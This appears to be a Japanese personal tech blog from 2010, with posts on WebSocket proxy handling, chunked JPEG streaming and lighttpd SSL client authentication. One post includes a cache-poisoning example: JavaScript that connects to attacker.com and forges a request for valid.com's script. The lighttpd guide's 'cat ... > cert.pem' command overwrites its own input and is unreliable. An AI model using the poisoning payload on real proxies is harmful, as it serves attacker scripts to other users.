何となく、VPS借りてみたので、今後はそちらで。
では〜。
2010年12月24日金曜日
2010年12月21日火曜日
WebSocketがdisableにされた件、その2
先の記事参照
プロトコルレベルでセキュリティ問題となり、disableにされたWebSocket。
そしてその影響は、JavaのAppletやFlashにも波及します。
しかしですね。良く考えたんですが、これってやっぱりproxyが進んで対応しなきゃいけない問題だと思うんです。
まず、@toshirot さんからの情報参照。この問題は、CERTによって報告され、既知の問題であることが分かります。
また、WebSocketを用いたサービスを運営されているpusherappさんでも以下の記事があります。
http://blog.pusherapp.com/2010/12/9/it-s-not-websockets-it-s-your-broken-proxy
さて、既知の問題であるからと言って、WebSocketのプロトコルをそのままにしておくのがよい、とは言いません。しかしながら、これはWeb(HTTPやその周辺プロトコル)の問題だけでは済まないと思うんです。
今や、FireWallやProxyをこえるために、dst:80番ポートを用いて通信する専用クライアントはごまんといます。(例えばネットゲームやSkypeなどのVoIPアプリなど)
また、AndroidやiPhoneにおいてWi-Fi経由でネットワークを利用するアプリケーションもごまんと出てきています。
先の問題の本質は、
透過型プロキシ(transparent proxy)が中継している場合、そのコネクション上で、Hostフィールドを詐称し、HTTPに似せたパケットを送受信すると、透過型プロキシが誤動作を起こす or/and 間違ったORIGINのファイルをキャッシュする、ことがある
です。
とするとですよ。一般的なネットワークアプリケーションでTCP接続し、その上で似たようなことをすれば、まったく同じ影響を受けるわけです。
つまり。
この手順を踏むだけで、今回報告された攻撃が出来るわけです。
ブラウザ(+JS/Flashなど)でお手軽に、と言うわけにはいかないので、少しだけセキュリティリスクが低い、とは言えるものの、まぁ、iPhone AppとかAndroid Appとか、リリース時にここまで踏み込んで審査出来てるとは思えないので、やっぱりセキュリティリスク抱えたtransparent proxyは使わない方がいいよ(Fixされたtransparent proxyは別、ね)、と言う気がしますです。
ではでは。
プロトコルレベルでセキュリティ問題となり、disableにされたWebSocket。
そしてその影響は、JavaのAppletやFlashにも波及します。
しかしですね。良く考えたんですが、これってやっぱりproxyが進んで対応しなきゃいけない問題だと思うんです。
まず、@toshirot さんからの情報参照。この問題は、CERTによって報告され、既知の問題であることが分かります。
また、WebSocketを用いたサービスを運営されているpusherappさんでも以下の記事があります。
http://blog.pusherapp.com/2010/12/9/it-s-not-websockets-it-s-your-broken-proxy
さて、既知の問題であるからと言って、WebSocketのプロトコルをそのままにしておくのがよい、とは言いません。しかしながら、これはWeb(HTTPやその周辺プロトコル)の問題だけでは済まないと思うんです。
今や、FireWallやProxyをこえるために、dst:80番ポートを用いて通信する専用クライアントはごまんといます。(例えばネットゲームやSkypeなどのVoIPアプリなど)
また、AndroidやiPhoneにおいてWi-Fi経由でネットワークを利用するアプリケーションもごまんと出てきています。
先の問題の本質は、
透過型プロキシ(transparent proxy)が中継している場合、そのコネクション上で、Hostフィールドを詐称し、HTTPに似せたパケットを送受信すると、透過型プロキシが誤動作を起こす or/and 間違ったORIGINのファイルをキャッシュする、ことがある
です。
とするとですよ。一般的なネットワークアプリケーションでTCP接続し、その上で似たようなことをすれば、まったく同じ影響を受けるわけです。
つまり。
- iPhone App Storeとか、Android App Storeから無料アプリケーションをダウンロードした。
- 無料アプリケーションが、外部サーバ(80番利用)にTCP接続する。
- TCP接続したアプリケーションが、HTTPパケットに似せたパケットを送受信する。
この手順を踏むだけで、今回報告された攻撃が出来るわけです。
ブラウザ(+JS/Flashなど)でお手軽に、と言うわけにはいかないので、少しだけセキュリティリスクが低い、とは言えるものの、まぁ、iPhone AppとかAndroid Appとか、リリース時にここまで踏み込んで審査出来てるとは思えないので、やっぱりセキュリティリスク抱えたtransparent proxyは使わない方がいいよ(Fixされたtransparent proxyは別、ね)、と言う気がしますです。
ではでは。
2010年12月10日金曜日
FirefoxなどでWebSocketがdefault disableに
残念な事に、FireFox4の次のバージョンではWebSocketが利用出来なくなる、と記事が出ましたね。
http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/
Operaもdisableになるらしい(開発版では有効になっていた)ですがソース不明です。
問題となっているsecurity issueのreportはこちら。
http://www.adambarth.com/experimental/websocket.pdf
覚え書き程度に、どんな問題なのか書いておこうかな、と。
しかし、この問題は特にWebSocketに限った話じゃなくて、Flashなどでも起こるんだ、と言う事を記事にする人は書かなきゃ駄目だと思うんだ。
さてと。問題になっているのは、以下のようなケース。
ユーザAがとあるサイト(attacker.com)を見ちゃった。
attacker.comはWebSocketを利用し、こんなメッセージを送っていた。
var ws = new WebSocket("ws://attacker.com/poison");
ws.send(
"GET /script.js HTTP/1.1\n" +
"Host: valid.com\n\n"
);
このメッセージは、attacker.comへと配送されます。(websocketのconnectionが張られているので)
さて、attacker.comのWebSocket Serverは、そのrequestに対して、
ws.send(
"HTTP 200 OK\n" +
"Expires: 1年後の日付\n\n" +
"{SCRIPT本体}"
);
こんな回答をしてあげてる、としましょう。(便宜上、ws.sendで書いてますが、client socketに対してのwriteです)
以上のやりとりは、全てWebSocket Connectionの中での出来事です。特に問題がなさそうに見えます。
Flashでも同じ事が出来ますね。
http://d.hatena.ne.jp/Bayside/20080502/p1
問題になるのは、間に透過型プロキシがある場合。
先ほどのWebSocket Connectionの中でのGET - Responseですが、実はプロキシ側では通常のHTTP Requestと違いが分からないらしい。(不勉強で、本当かどうかは知りません)
すると、プロキシは先ほどのレスポンス、つまりscript.jsを、Host == valid.comのものだとしてcacheしてしまう、と。しかも、無期限で(この例だと1年ですね)。
cacheされちゃうとどうなるか。
もしvalid.comにscript.jsがあった場合(ありそうな例としてあげられているのが、google.comのga.js)、他の誰かがvalid.comを訪れた時にキャッシュヒットしちゃって、attacker.comにあったscript.jsがvalid.comのものとして実行されちゃいますよ、と。
こんな感じに読み取りましたが、間違ってたらご指摘くださいませ。
# ご指摘を受けましたので修正。ちょっと読み飛ばしちゃったところがありまして、もうひとつ例として挙げられています。追記しようかと思ったのですが、時間が無いので、詳細をお知りになりたい方は、原文を読んでいただくか、http://firefoxhacks.at.webry.info/201012/article_3.html とか、https://groups.google.com/group/socketapi-dev/browse_thread/thread/252531b595e071b6 このあたりをご参照ください。中途半端で、ごめんなさい。(^^;
http://www.adambarth.com/experimental/websocket.pdf
では、続いてこうすれば大丈夫だよ、と言う提案もされていらっしゃいますが、これはちょっと個人的に好きになれません。。。どうせ443固定にするんだったら、wss scheme + Server cert使えば良いじゃん、と思いますし。
Transparent proxyがServer cert返しちゃってるようなネット運用してる所は知りませんよ、とか言えるし。
以上、覚え書きまで。
http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/
Operaもdisableになるらしい(開発版では有効になっていた)ですがソース不明です。
問題となっているsecurity issueのreportはこちら。
http://www.adambarth.com/experimental/websocket.pdf
覚え書き程度に、どんな問題なのか書いておこうかな、と。
しかし、この問題は特にWebSocketに限った話じゃなくて、Flashなどでも起こるんだ、と言う事を記事にする人は書かなきゃ駄目だと思うんだ。
さてと。問題になっているのは、以下のようなケース。
ユーザAがとあるサイト(attacker.com)を見ちゃった。
attacker.comはWebSocketを利用し、こんなメッセージを送っていた。
var ws = new WebSocket("ws://attacker.com/poison");
ws.send(
"GET /script.js HTTP/1.1\n" +
"Host: valid.com\n\n"
);
このメッセージは、attacker.comへと配送されます。(websocketのconnectionが張られているので)
さて、attacker.comのWebSocket Serverは、そのrequestに対して、
ws.send(
"HTTP 200 OK\n" +
"Expires: 1年後の日付\n\n" +
"{SCRIPT本体}"
);
こんな回答をしてあげてる、としましょう。(便宜上、ws.sendで書いてますが、client socketに対してのwriteです)
以上のやりとりは、全てWebSocket Connectionの中での出来事です。特に問題がなさそうに見えます。
Flashでも同じ事が出来ますね。
http://d.hatena.ne.jp/Bayside/20080502/p1
問題になるのは、間に透過型プロキシがある場合。
先ほどのWebSocket Connectionの中でのGET - Responseですが、実はプロキシ側では通常のHTTP Requestと違いが分からないらしい。(不勉強で、本当かどうかは知りません)
すると、プロキシは先ほどのレスポンス、つまりscript.jsを、Host == valid.comのものだとしてcacheしてしまう、と。しかも、
cacheされちゃうとどうなるか。
もしvalid.comにscript.jsがあった場合(ありそうな例としてあげられているのが、google.comのga.js)、他の誰かがvalid.comを訪れた時にキャッシュヒットしちゃって、attacker.comにあったscript.jsがvalid.comのものとして実行されちゃいますよ、と。
こんな感じに読み取りましたが、間違ってたらご指摘くださいませ。
# ご指摘を受けましたので修正。ちょっと読み飛ばしちゃったところがありまして、もうひとつ例として挙げられています。追記しようかと思ったのですが、時間が無いので、詳細をお知りになりたい方は、原文を読んでいただくか、http://firefoxhacks.at.webry.info/201012/article_3.html とか、https://groups.google.com/group/socketapi-dev/browse_thread/thread/252531b595e071b6 このあたりをご参照ください。中途半端で、ごめんなさい。(^^;
http://www.adambarth.com/experimental/websocket.pdf
では、続いてこうすれば大丈夫だよ、と言う提案もされていらっしゃいますが、これはちょっと個人的に好きになれません。。。どうせ443固定にするんだったら、wss scheme + Server cert使えば良いじゃん、と思いますし。
Transparent proxyがServer cert返しちゃってるようなネット運用してる所は知りませんよ、とか言えるし。
以上、覚え書きまで。
2010年11月11日木曜日
WebSocketとproxy
毎度のWebSocketネタ
proxyが通らないよ!と言うtweetやら何やらが多く出回っていますが、それに関して。
結論から言うと、大抵の場合、通ります。
hybiでの仕様では、SPEC-02位からちゃんと記述がありますが、それ以前もchrome(chromium)では、ちゃんとproxyを考慮した作りになっていました。
パケットの流れとしては、以下の通り
ブラウザ->proxy
proxy->ブラウザ
ブラウザ->proxy->WebSocket Server
WebSocket Server->proxy->ブラウザ
initial handshakeのGET methodについているbodyが原因です。(イケてない仕様だと思うのですが…)
見ての通り、initial handshake requestには、bodyに8byteのdata(Sec-WebSocket-Key3相当)が付加されていますが、ヘッダにContent-Length及びTransfer-Encodingは付いていません。
この場合、RFC2616に対して、明らかに不正なパケットとなります。(参照: http://www.studyinghttp.net/header#Content-Length)
また、Upgrade headerについての扱いをどう見るか、ですが、(参照: http://www.studyinghttp.net/header#Upgrade)
initial handshake時のrequest packetにおけるUpgrade headerについては、まだUpgradeされていないと考えるべきだと思っています。
つまり、
この場合は特に、headerにContent-Lengthが付いていないこと、methodがGETであることからproxyやhttpdでは、2 packet目の8byteのdataは、本来どのようなpacketなのか判断が付かないことになります。(捨てるのが普通でしょう)
実際は、proxyに対して、CONNECT、keep-aliveしているので、proxyはpass-throughしてくれて、ちゃんとWebSocket Serverまで届きますが。
と、言うことで、基本的にはproxy透過だよ~っと覚えていてもらえば良いかと思います。
このあたりはSPEC-03以降でちゃんと定義されていると思いますが、現状のご報告まで。
ではでは。
あぁ、追記として。
Safariには、proxy設定とWebSocketの利用に関してBUGが存在します。(一応、レポートは送付しましたが、最近のSafariでは直ってるのかしら?)
企業内のネットワークに参加しているNote PC(持ち運ぶPC)などではよく起こると思うのですが、
proxyが通らないよ!と言うtweetやら何やらが多く出回っていますが、それに関して。
結論から言うと、大抵の場合、通ります。
hybiでの仕様では、SPEC-02位からちゃんと記述がありますが、それ以前もchrome(chromium)では、ちゃんとproxyを考慮した作りになっていました。
パケットの流れとしては、以下の通り
ブラウザ->proxy
CONNECT hoge.com:80 HTTP/1.1
Host: hoge.com
Proxy-Connection: keep-alive
proxy->ブラウザ
HTTP/1.1 200 Connection established
ブラウザ->proxy->WebSocket Server
GET /fuga HTTP/1.1
Upgrade: WebSocket
Connection: Upgrade
Host: hoge.com
Origin: http://hoge.com
Sec-WebSocket-Key1: 4 29 " 43b Q8 9 30 9
Sec-WebSocket-Key2: 3n 110913 6 25y
.?4.Q...
WebSocket Server->proxy->ブラウザ
HTTP/1.1 101 WebSocket Protocol Handshakeただ、proxyによっては通らないものがあるのも事実です。
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Location: ws://hoge.com/fuga
Sec-WebSocket-Origin: http://hoge.com
....Vz.3L ...r...
initial handshakeのGET methodについているbodyが原因です。(イケてない仕様だと思うのですが…)
見ての通り、initial handshake requestには、bodyに8byteのdata(Sec-WebSocket-Key3相当)が付加されていますが、ヘッダにContent-Length及びTransfer-Encodingは付いていません。
この場合、RFC2616に対して、明らかに不正なパケットとなります。(参照: http://www.studyinghttp.net/header#Content-Length)
また、Upgrade headerについての扱いをどう見るか、ですが、(参照: http://www.studyinghttp.net/header#Upgrade)
initial handshake時のrequest packetにおけるUpgrade headerについては、まだUpgradeされていないと考えるべきだと思っています。
つまり、
GET /fuga HTTP/1.1
Upgrade: WebSocket
は、まだWebSocket ProtocolにUpgradeされておらず、HTTPの仕様に縛られるべきだと思うのです。
その為、Content-Length headerすら付けず、bodyに、8byteのdataを付加するようなpacketは、httpdとしても、proxyとしても扱いに困ります。
(例えば、Upgrade: WebSocketが付いたpacketは絶対にWebSocket Handshakeだ、と仮定したとすると、httpdおよびproxyは、bodyの8byteを読めるまでしばらく待っている必要があります。この場合、、bodyを付加せずheaderだけ投げつければ簡単にDoSが可能となります。例え、httpdおよびproxyがpoll timeoutなどを設けていたとしても)
以上のような理由で、proxy、httpdの設定によっては、handshake packetが捨てられる場合があります。
また、Windows版のブラウザでは、initial handshake requestが2 packetに分割して投げられます。
(Chrome, Safari, FireFox 4βで確認済)
ブラウザ->WebSocket Server
GET /fuga HTTP/1.1
Upgrade: WebSocket
Connection: Upgrade
Host: hoge.com
Origin: http://hoge.com
Sec-WebSocket-Key1: 4 29 " 43b Q8 9 30 9
Sec-WebSocket-Key2: 3n 110913 6 25y
ブラウザ->WebSocket Server
まず、ヘッダ部分が送信され、数msおいてbody部分が送信される形です。.?4.Q...
この場合は特に、headerにContent-Lengthが付いていないこと、methodがGETであることからproxyやhttpdでは、2 packet目の8byteのdataは、本来どのようなpacketなのか判断が付かないことになります。(捨てるのが普通でしょう)
実際は、proxyに対して、CONNECT、keep-aliveしているので、proxyはpass-throughしてくれて、ちゃんとWebSocket Serverまで届きますが。
と、言うことで、基本的にはproxy透過だよ~っと覚えていてもらえば良いかと思います。
このあたりはSPEC-03以降でちゃんと定義されていると思いますが、現状のご報告まで。
ではでは。
あぁ、追記として。
Safariには、proxy設定とWebSocketの利用に関してBUGが存在します。(一応、レポートは送付しましたが、最近のSafariでは直ってるのかしら?)
企業内のネットワークに参加しているNote PC(持ち運ぶPC)などではよく起こると思うのですが、
- そのPCでproxyを利用する設定になっている(自動設定スクリプトなどを含む)
- proxyの無い環境に持っていく。(自動設定スクリプトだと、proxyを利用しない状況になる)
- WebSocketを利用したsiteへ赴く
- ブラウザクラーッシュ
2010年11月5日金曜日
WebSocket Jpeg Streaming
以前、井上さん(@makoto_inoue)、遠藤さん(@MiCHiLU)主催の#wsbofに出た際、何となく見せたWebSocket Jpeg Streamingのソースをやっと公開しました。遅くなりすぎて、とってもごめんなさい。
まぁ、時期的に旬を逃したのですが、もうすぐSPEC-03が出るのと、丁度hybiでchunk/streamingに関するメールが飛んでいるので、そのあたりを少し。
WebSocketを利用されたことがある方ならご存じの通り、今現在、WebSocketで利用できるフレームフォーマットは、0x00と0xffで囲まれた、UTF-8のSTRINGだけです。
さて、WebSocketを利用して皆さん何を送受信したいと思うでしょうか?
うん、大抵の場合、JSONですよね。(XML…聞かなかったことにします)
例えば、こんなメッセージを送りたいとしましょう。
{"data": "Hello WebSocket!"}
この場合、現在のSPEC-76に準拠した各種WebSocketのServer側実装は、ほぼ全てが以下のようにフレームを構成してメッセージを送信しています。
0x00, '{"data": "Hello WebSocket!"}', 0xff
すると、そのメッセージを受けたブラウザでは、0x00, 0xffをはぎ取り、websocket.onmessage functionへのevent messageでは、'{"data": "Hello WebSocket!"}'だけを受け取ることが可能です。
つまり、javascript codeとしては、
さて、ここで長い長いデータを送信したい、と思った場合、どうなるでしょうか?
0x00, '{"data": "1Mbytes data"}', 0xff
こういった場合、ブラウザは0xffが出現するまで、いつ終わるともわからないSTRINGをずっと保持しておかなくてはいけなくなります。(もしかすると0xffは永遠に来ないかもしれません)
Server側はもう少し楽できるのですが、今現在公開されているwebsocket modの殆どは、client側と同様に全てのデータフレームを構築してから送信しているように見受けられます。(違ってたらごめんなさい)
それを避けるためには通常、長い長いデータを適当なサイズで区切って送受信する事になります。
ここでは簡単にするために、サーバ側から'Hello WebSocket!'を区切って送信してみましょう。
サーバ側
http://d.hatena.ne.jp/os0x/20100724/1280003367
ここで発表した通りなのですが、
https://docs.google.com/present/view?id=dfn9bp3w_06bh6spg8
のスライド14番、15番目を参照ください。
送りつけているJSON Stringは、
'{"fps": daemonで取得したfps, "image": "base64 encoded jpeg image"}'
となっており、上記のJSON Stringがブラウザには、
0x00, '{"fps": daemonで取得したfps, "im', 0xff
0x00, 'age": "base64 encoded jpeg image"}', 0xff
などのように、chunkとして送付されてきます。
(誤解があるといけないので記述しておきますが、jpeg_streamer.cではchunkにしていません。mod_websocket for lighty側で勝手にchunkにされます…と言うか、しています。)
クライアント側
構成は、以下のようになっています。
肝は、websocket_chunk.js。
まぁ、時期的に旬を逃したのですが、もうすぐSPEC-03が出るのと、丁度hybiでchunk/streamingに関するメールが飛んでいるので、そのあたりを少し。
WebSocketを利用されたことがある方ならご存じの通り、今現在、WebSocketで利用できるフレームフォーマットは、0x00と0xffで囲まれた、UTF-8のSTRINGだけです。
さて、WebSocketを利用して皆さん何を送受信したいと思うでしょうか?
うん、大抵の場合、JSONですよね。(XML…聞かなかったことにします)
例えば、こんなメッセージを送りたいとしましょう。
{"data": "Hello WebSocket!"}
この場合、現在のSPEC-76に準拠した各種WebSocketのServer側実装は、ほぼ全てが以下のようにフレームを構成してメッセージを送信しています。
0x00, '{"data": "Hello WebSocket!"}', 0xff
すると、そのメッセージを受けたブラウザでは、0x00, 0xffをはぎ取り、websocket.onmessage functionへのevent messageでは、'{"data": "Hello WebSocket!"}'だけを受け取ることが可能です。
つまり、javascript codeとしては、
var ws = new WebSocket("ws://hoge.com/fuga");とすることによって、obj.data == "Hello WebSocket!"を得られるということになります。
ws.onmessage = function(msg) {
var obj = JSON.parse(msg.data);
}
さて、ここで長い長いデータを送信したい、と思った場合、どうなるでしょうか?
0x00, '{"data": "1Mbytes data"}', 0xff
こういった場合、ブラウザは0xffが出現するまで、いつ終わるともわからないSTRINGをずっと保持しておかなくてはいけなくなります。(もしかすると0xffは永遠に来ないかもしれません)
Server側はもう少し楽できるのですが、今現在公開されているwebsocket modの殆どは、client側と同様に全てのデータフレームを構築してから送信しているように見受けられます。(違ってたらごめんなさい)
それを避けるためには通常、長い長いデータを適当なサイズで区切って送受信する事になります。
ここでは簡単にするために、サーバ側から'Hello WebSocket!'を区切って送信してみましょう。
0x00, '{"data": "Hel', 0xff
0x00, 'lo WebSocket!"}', 0xff
さて、この場合、clientであるjavascript側はちょっと困ったことになりますよね。
ws.onmessage = function(msg) {
var obj = JSON.parse(msg.data); // exception
}
当たり前ですが、callbackで受け取ったmessageはJSON stringではないので、Exceptionが発生します。
これをどうにかしないといけないよね、と言う問題点が指摘され、フレームフォーマット再編の一因になった、と記憶しています。
さて、ここまでを覚えておいていただいて。WebSocket Jpeg Streamingの説明に入ります。
サーバ側
http://d.hatena.ne.jp/os0x/20100724/1280003367
ここで発表した通りなのですが、
https://docs.google.com/present/view?id=dfn9bp3w_06bh6spg8
のスライド14番、15番目を参照ください。
送りつけているJSON Stringは、
'{"fps": daemonで取得したfps, "image": "base64 encoded jpeg image"}'
となっており、上記のJSON Stringがブラウザには、
0x00, '{"fps": daemonで取得したfps, "im', 0xff
0x00, 'age": "base64 encoded jpeg image"}', 0xff
などのように、chunkとして送付されてきます。
(誤解があるといけないので記述しておきますが、jpeg_streamer.cではchunkにしていません。mod_websocket for lighty側で勝手にchunkにされます…と言うか、しています。)
クライアント側
構成は、以下のようになっています。
肝は、websocket_chunk.js。
先程記述したように、
0x00, '{"data": "Hel', 0xff
0x00, 'lo WebSocket!"}', 0xff
のように送信されたメッセージは、WebSocket onmessage callback function内で単純にJSON.parseはできません。
その為、websocket_chunk.jsでは、JSON stringとして正しいメッセージを受けるまで、bufferingしています。(適当に作ったので、JSON stringだけです={}の数を数えてるだけです。arrayはご勘弁)
websocket_chunk.jsの中で、JSON stringとして正しいと判断した場合、JSON.parseをし、JSON objとして指定されたfunctionにそのJSON objを引数としてcallbackをかけます。
また、今回のデモのようなstreamingの場合、chunkとして送信されてくるdataでは常にws.onmessage callbackが発生します。
その場合、websocket_chunk.jsをmain thread(上の例で行くと、player.jsの中)で実行すると、main threadにcontext switchが引っ切り無しに起こる…と、思います。(ブラウザの実装を詳しく知らないので予想ですけど)
というわけで、その部分をworkerに叩きこんでます。(なお、現在は、chrome/chromiumおよびsafariでしか、WebSocket in Workerが動きません。ですので、Firefox4βなどで動作させたい方は、websocket_chunkをmain threadで動作させるよう変更していただけば、動作します)
最後に、worker内で、適当な数のJSON objをbuffering、JSON objのarrayとしてmain threadへpostMessage、と。
こんな流れになっています。
SPEC-03を用いれば解決するのかもしれませんが、それでもJavaScriptとbackend Server間でメッセージフォーマットを規定する必要はどうしても出てきます。その際の助けになれば、幸いです。
ソースコード一式は、https://github.com/nori0428/websocket_streamingから取得可能ですので、MBPやAirをお持ちの方、Linux+USB Camなどの環境をお持ちの方で、試してみようかなと思われる奇特な方はお試しください。
なお、これはテストとか全くしてませんので、悪しからず。
ではでは。
2010年3月2日火曜日
lighttpdのHTTPS通信において、サーバ認証、クライアント認証を行う方法
lighttpdを用いて、サーバ認証、クライアント認証を行う為の設定
http://park15.wakwak.com/~unixlife/practical/openssl.html
基 本的には、ここで紹介されている手順を踏みます。
全体像はこんな感じ。
$SERVER["socket"] == ":443" {
ssl.engine = "enable"
ssl.pemfile = "/path_to/Server/server.pem"
ssl.ca-file = "/path_to/CA/cacert.pem"
ssl.verifyclient.activate = "enable"
ssl.verifyclient.enforce = "enable"
ssl.verifyclient.depth = 2
ssl.verifyclient.username = "SSL_CLIENT_S_DN_CN"
server.document-root = "/var/wwws/"
}
以上をlighttpd.confに追加したのち、先に紹介させていただいたサイト、
http://park15.wakwak.com/~unixlife/practical/openssl.html
ここで作成した、pkcs12形式のクライアント証明書をchromeに導入すると、クライアント認証を伴うSSL通信が可能となり、クライアント証明書を 持ったPCからだけ、httpsアクセスが可能となります。
なお、Chromeへの証明書のインポート方法はこちら をご参照ください。
http://www.certvision.net/set_c_crt/chrome.html
以上が、lighttpdでのSSL Client Authの方法です。
http://park15.wakwak.com/~unixlife/practical/openssl.html
基 本的には、ここで紹介されている手順を踏みます。
- まず、認証局の立ち上げ。これは上述のサイトの通り構築 してください。
- 次に、認証局で署名してもらったサーバ証明書の作成です。
これも、上述のサイトの通り作成してください。
ただし、サーバ証明書とサーバの秘密鍵を設定ファイルで指定できるApacheと違い、lighttpdでは、サーバ証明書に自身のプライベートキーを追 加しておく必要があります。
これは、
http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:SSL
ここに記述があります。
If you have a .crt and a .key file, cat them together into a
single PEM file (the order isn't strictly important):
$ cat host.key host.crt > host.pem
これに従い、下記の様にコマンドを打ち込みます。
$ cat srvernopass.key cert.pem > cert.pem
これを、lighttpd.conf中のssl.pemfileセクションで指定してあげてください。尚、このファイルに秘密鍵が書いてあるからと言って セキュリティレベルが落ちるものではありませんのでご安心を。(cert.pemを配置するディレクトリのパーミッション設定だけは気をつけてください ね)
ここまでで、自己認証局でサインしたサーバ証明書(俗に言われるオレオレ証明書)を用いたSSL通信が可能となります。(httpsでの通信が可能となり ます)
- さて、最後です。
これまた、pkcs12形式のクライアント証明書の作成までは上述のサイトの通りです。しかし、やはりlighttpdではちょっと設定が違います。
変更点は以下。
ssl.verifyclient.activate = "enable"
ssl.verifyclient.enforce = "enable"
ssl.ca-file = "/path_to/CA/cacert.pem"
ssl.verifyclient.depth = 2
ssl.verifyclient.username = "SSL_CLIENT_S_DN_CN"
これの意味するところは、ちょっと古いですがここを見るとよいでしょう。
http://skyline.bosconet.org/pjohnson/blog/?p=457
あと、ここも。
http://redmine.lighttpd.net/issues/19
よく調べて無いので、分かる点だけ。
ssl.verifyclient.activate = "enable"
ssl.ca-file = "/path_to/CA/cacert.pem"
ssl.verifyclient.username = "SSL_CLIENT_S_DN_CN"
この3つがキーだと思ってまして。 - まず、クライアント認証をするかどうか
- そして、認証局が署名した証明書リスト へのパス
- 最後に、クライアント証明書のどのフィー ルドで認証するか。
全体像はこんな感じ。
$SERVER["socket"] == ":443" {
ssl.engine = "enable"
ssl.pemfile = "/path_to/Server/server.pem"
ssl.ca-file = "/path_to/CA/cacert.pem"
ssl.verifyclient.activate = "enable"
ssl.verifyclient.enforce = "enable"
ssl.verifyclient.depth = 2
ssl.verifyclient.username = "SSL_CLIENT_S_DN_CN"
server.document-root = "/var/wwws/"
}
以上をlighttpd.confに追加したのち、先に紹介させていただいたサイト、
http://park15.wakwak.com/~unixlife/practical/openssl.html
ここで作成した、pkcs12形式のクライアント証明書をchromeに導入すると、クライアント認証を伴うSSL通信が可能となり、クライアント証明書を 持ったPCからだけ、httpsアクセスが可能となります。
なお、Chromeへの証明書のインポート方法はこちら をご参照ください。
http://www.certvision.net/set_c_crt/chrome.html
以上が、lighttpdでのSSL Client Authの方法です。
登録:
投稿 (Atom)